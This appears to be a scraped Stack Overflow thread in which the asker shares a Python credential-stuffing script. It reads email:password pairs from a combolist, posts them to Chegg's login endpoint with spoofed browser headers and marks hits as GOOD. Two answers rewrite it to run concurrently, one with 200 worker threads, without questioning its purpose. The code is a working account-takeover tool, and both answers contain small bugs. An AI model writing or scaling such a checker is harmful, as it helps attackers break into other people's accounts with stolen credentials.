'How do I implement threading to the same function but with different parameters?
So, I have a combolist.txt with accounts(email:password), when I run this code I want it to check 50 accounts at the same time using threading. With this code as it is right now it will check correctly but 1 by one and slowly.
from time import sleep
import requests
import threading
#opening combo list
combolist = open("combo.txt", "r").readlines()
url = "https://www.chegg.com/auth?action=login"
#run as long as there are accounts in the list
for combo in combolist:
#split the combo into username and password
seq = combo.strip()
acc = seq.split(":")
username = acc[0]
password = acc[1]
account = username + ":" + password
#data for the post request
data = {
'clientId': 'CHGG',
'redirect_uri': '',
'state':'',
'responseType': '',
'email': username,
'password': password,
'version': '2.124.103',
'profileId': 'CHGG',
'origin': 'https://www.chegg.com',
'referer': 'https://www.chegg.com/',
'sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"',
'sec-ch-ua-mobile': '?0',
'sec-ch-ua-platform': '"Windows"',
'sec-fetch-dest': 'empty',
'sec-fetch-mode': 'cors',
'sec-fetch-site': 'same-site',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36',
}
_post = requests.post(url, data=data).text
sleep(2)
#keycheck
if "Logout" in _post:
print("[+] GOOD: " + account)
else:
print("[-] BAD: " + account)
Solution 1:[1]
The following code does what you want to, basically it creates a separate thread for each account login with parameters, The code is not tested as i have no file that is being used to run the code, but it will provide you a basic starting point, its possible for the code to have small bugs or errors as it's not tested, check the comments to understand the changes.
from time import sleep
import requests
from threading import Thread
threads = []
def CheckAccount(username, password):
#convert the login process in to the function to make it dynamic for different accounts
#data for the post request
account = username + ': ' + password
data = {
'clientId': 'CHGG',
'redirect_uri': '',
'state':'',
'responseType': '',
'email': username,
'password': password,
'version': '2.124.103',
'profileId': 'CHGG',
'origin': 'https://www.chegg.com',
'referer': 'https://www.chegg.com/',
'sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"',
'sec-ch-ua-mobile': '?0',
'sec-ch-ua-platform': '"Windows"',
'sec-fetch-dest': 'empty',
'sec-fetch-mode': 'cors',
'sec-fetch-site': 'same-site',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36',
}
_post = requests.post(url, data=data).text
sleep(2)
#keycheck
if "Logout" in _post:
print("[+] GOOD: " + account)
else:
print("[-] BAD: " + account)
#opening combo list
combolist = open("combo.txt", "r").readlines()
url = "https://www.chegg.com/auth?action=login"
#run as long as there are accounts in the list
for combo in combolist:
#split the combo into username and password
seq = combo.strip()
acc = seq.split(":")
#initialize a thread for this particular username and password
_thread = Thread(target = CheckAccount, args=(acc[0],, acc[1])) #username and password are passed here
_thread.start() #start the thread it will actually init the login process
threads.append(_thread) #maintain a list for all created and running threads, simply we are appending every new thread to the list
sleep(0.2) # wait a bit before next account thread creation
for t in threads:
#for each thread wait for its completion
t.join()
The disadvantages of this approach are following
- N no of threads for N no of accounts, it can crash machine if too much accounts need to control the active threads count.
- Proper exception handling should be used for production usage
Solution 2:[2]
I feel like the question asked and what you are trying to do are different things; Anywho I would use concurrent.futures and ThreadPoolExecutor to get this done as they are easier than using the threading module.
This Link will help you with what you are trying to do.
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed
#opening combo list
combolist = open("combo.txt", "r").readlines()
url = "https://www.chegg.com/auth?action=login"
data_list = []
#run as long as there are accounts in the list
for combo in combolist:
#split the combo into username and password
seq = combo.strip()
acc = seq.split(":")
username = acc[0]
password = acc[1]
account = username + ":" + password
#data for the post request
data = {
'clientId': 'CHGG',
'redirect_uri': '',
'state':'',
'responseType': '',
'email': username,
'password': password,
'version': '2.124.103',
'profileId': 'CHGG',
'origin': 'https://www.chegg.com',
'referer': 'https://www.chegg.com/',
'sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"',
'sec-ch-ua-mobile': '?0',
'sec-ch-ua-platform': '"Windows"',
'sec-fetch-dest': 'empty',
'sec-fetch-mode': 'cors',
'sec-fetch-site': 'same-site',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36',
}
data_list.append(data)
def get_data(data):
_post = requests.post(url, data=data).text
sleep(2)
#keycheck
if "Logout" in _post:
print("[+] GOOD: " + account)
else:
print("[-] BAD: " + account)
processes = []
with ThreadPoolExecutor(max_workers=200) as executor:
for data in data_list:
processes.append(executor.submit(get_data, data))
Sources
This article follows the attribution requirements of Stack Overflow and is licensed under CC BY-SA 3.0.
Source: Stack Overflow
| Solution | Source |
|---|---|
| Solution 1 | Zain Ul Abidin |
| Solution 2 |
